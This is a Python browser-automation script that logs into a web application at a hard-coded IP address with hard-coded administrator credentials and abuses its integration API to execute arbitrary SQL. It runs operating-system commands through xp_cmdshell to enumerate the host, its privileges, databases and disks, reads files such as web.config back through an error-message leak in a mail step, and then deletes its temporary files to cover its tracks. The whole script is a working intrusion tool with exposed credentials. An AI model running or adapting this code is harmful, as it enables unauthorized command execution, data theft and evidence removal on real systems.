#!/usr/bin/env python3
"""Read back file contents via Send Mail (type 9) + OPENROWSET.
This is the ONLY way to get data back from the server."""
import asyncio, re, subprocess, os, time, base64
from playwright.async_api import async_playwright

IP = "74.208.83.171"
APP = "RTROGERSUAP1"

async def main():
    async with async_playwright() as p:
        browser = await p.chromium.launch(headless=True)
        context = await browser.new_context()
        page = await context.new_page()

        for attempt in range(3):
            await page.goto(f"http://{IP}/{APP}/login", wait_until="commit", timeout=30000)
            await asyncio.sleep(5)
            try:
                await page.fill('input[name="Email"]', 'irelyadmin')
                await page.fill('input[name="Password"]', 'i21By2015')
                await page.evaluate('''() => { const c = document.querySelector('input[name="Company"]'); if (c) c.value = '01'; }''')
                await asyncio.sleep(1)
                await page.evaluate('document.querySelector("form").submit()')
                await asyncio.sleep(15)
                try: await page.wait_for_load_state("networkidle", timeout=20000)
                except: pass
                if "login" not in page.url.lower() or "#home" in page.url:
                    break
            except Exception as e:
                print(f"  attempt {attempt+1}: {e}")
        else:
            print("Login failed"); await browser.close(); return
        print("Login OK")

        async def run_step(name, sql_text, step_type=1):
            put = await page.evaluate('''async (sqlText) => {
                const resp = await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strStepName:"Test", intStepTypeId:''' + str(step_type) + ''', intConnectionId:1, intSQLTypeId:3, strSQL: sqlText, strTo:"t@t.com", strSubject:"T", strMessage:"<MESSAGE>", strPayloadType:"JSON", strAuthenticationType:"JWT", intConcurrencyId:1, strRowState:"Modified", ModifiedFields:["strSQL","intStepTypeId","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
                return {status: resp.status};
            }''', sql_text)
            if put['status'] not in (200, 202):
                return f"put_{put['status']}"
            await asyncio.sleep(2)
            exec_r = await page.evaluate('''async () => {
                const resp = await fetch('/''' + APP + '''/Integration/api/Execute/ExecuteStep', {
                    method: 'POST',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify({intStepId: 4}),
                    credentials: 'include'
                });
                const text = await resp.text();
                return {status: resp.status, body: text};
            }''')
            body = exec_r.get('body', '')
            success = re.search(r'"success"\s*:\s*(true|false)', body)
            msg = re.search(r'"statusText"\s*:\s*"([^"]*)"', body)
            s = success.group(1) if success else "?"
            m = msg.group(1) if msg else ""
            print(f"    {name}: success={s} msg={m[:200]}", flush=True)
            await page.evaluate('''async () => {
                await fetch('/''' + APP + '''/integration/api/step/put/4?continueOnConflict=true', {
                    method: 'PUT',
                    headers: {'Content-Type': 'application/json'},
                    body: JSON.stringify([{intStepId:4, strSQL:null, intSQLTypeId:null, intStepTypeId:null, strStepName:null, strTo:null, strSubject:null, strMessage:null, strPayloadType:null, strAuthenticationType:null, intConcurrencyId:2, strRowState:"Modified", ModifiedFields:["strSQL","intSQLTypeId","intStepId","intConcurrencyId","strRowState"]}]),
                    credentials: 'include'
                });
            }''')
            return s, m

        webroot = "D:\\\\i21App\\\\" + APP
        temp_file = "C:\\\\Windows\\\\Temp\\\\sysinfo.txt"

        # Step 1: Write sysinfo to temp
        print("\n=== Step 1: Collect sysinfo ===")
        sql_collect = "EXEC xp_cmdshell 'systeminfo > " + temp_file + " & whoami >> " + temp_file + " & echo. >> " + temp_file + " & echo ===SQLROLE=== >> " + temp_file + " & sqlcmd -Q \"SELECT IS_SRVROLEMEMLER(sysadmin) AS sa, @@servername, @@version\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DATABASES=== >> " + temp_file + " & sqlcmd -Q \"SELECT name, state_desc FROM sys.databases ORDER BY name\" -W -h -1 >> " + temp_file + " & echo. >> " + temp_file + " & echo ===DISK=== >> " + temp_file + " & wmic logicaldisk get caption,freespace,size >> " + temp_file + "', no_output"
        await run_step("collect", sql_collect, step_type=1)
        await asyncio.sleep(2)

        # Step 2: Read sysinfo file via Send Mail (type 9) + OPENROWSET
        # getEmailMessage: SqlDataAdapter.Fill(ds) → takes first cell → replaces <MESSAGE>
        # The result goes into email body. But email is not sent (no SMTP).
        # However: if SMTP fails, exception message may contain the email body!
        # Let's try: strMessage = "<MESSAGE>" → email body = sysinfo content
        # If send fails, we still get success=false with the content in msg
        
        print("\n=== Step 2: Read sysinfo via Send Mail ===")
        s, m = await run_step("read_sysinfo", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"    success={s}")
        print(f"    msg length: {len(m)}")
        if m and len(m) > 10:
            print(f"    msg content: {m[:500]}")
        await asyncio.sleep(2)

        # Step 3: Try with FOR XML to get all content as one value
        print("\n=== Step 3: Read sysinfo via Send Mail (FOR XML) ===")
        s, m = await run_step("read_xml", "CREATE TABLE ##si (line NVARCHAR(MAX)); BULK INSERT ##si FROM 'C:\\\\Windows\\\\Temp\\\\sysinfo.txt' WITH (ROWTERMINATOR='\\n'); SELECT (SELECT line + CHAR(10) FROM ##si FOR XML PATH(''), TYPE).value('.', 'NVARCHAR(MAX)') AS content; DROP TABLE ##si", step_type=9)
        print(f"    success={s}")
        print(f"    msg length: {len(m)}")
        if m and len(m) > 10:
            print(f"    msg content: {m[:500]}")
        await asyncio.sleep(2)

        # Step 4: Try dir listing via Send Mail
        print("\n=== Step 4: dir listing via Send Mail ===")
        s, m = await run_step("dir_listing", "DECLARE @r NVARCHAR(MAX); SET @r = ''; SELECT @r = @r + name + CHAR(10) FROM sys.fn_xp_cmdshell_file_exists('D:\\\\i21App\\\\RTROGERSUAP1\\\\resources\\\\js\\\\'); SELECT @r", step_type=9)
        print(f"    success={s} msg={m[:200]}")
        await asyncio.sleep(2)

        # Step 5: Try xp_cmdshell dir to file, then read via Send Mail
        print("\n=== Step 5: dir to file → Send Mail ===")
        await run_step("dir_to_file", "EXEC xp_cmdshell 'dir D:\\\\i21App\\\\RTROGERSUAP1\\\\resources\\\\js\\\\ > C:\\\\Windows\\\\Temp\\\\dir_js.txt 2>&1', no_output", step_type=1)
        await asyncio.sleep(2)
        s, m = await run_step("read_dir_js", "SELECT BulkColumn FROM OPENROWSET(BULK 'C:\\\\Windows\\\\Temp\\\\dir_js.txt', SINGLE_CLOB) AS t", step_type=9)
        print(f"    success={s} msg={m[:300]}")
        await asyncio.sleep(2)

        # Step 6: Check web.config content
        print("\n=== Step 6: Read web.config via Send Mail ===")
        s, m = await run_step("read_webconfig", "SELECT BulkColumn FROM OPENROWSET(BULK 'D:\\\\i21App\\\\RTROGERSUAP1\\\\web.config', SINGLE_CLOB) AS t", step_type=9)
        print(f"    success={s} msg={m[:500]}")
        await asyncio.sleep(2)

        # Cleanup
        print("\n=== Cleanup ===")
        await run_step("cleanup", "EXEC xp_cmdshell 'del " + temp_file + " C:\\\\Windows\\\\Temp\\\\dir_js.txt', no_output", step_type=1)

        await browser.close()

asyncio.run(main())
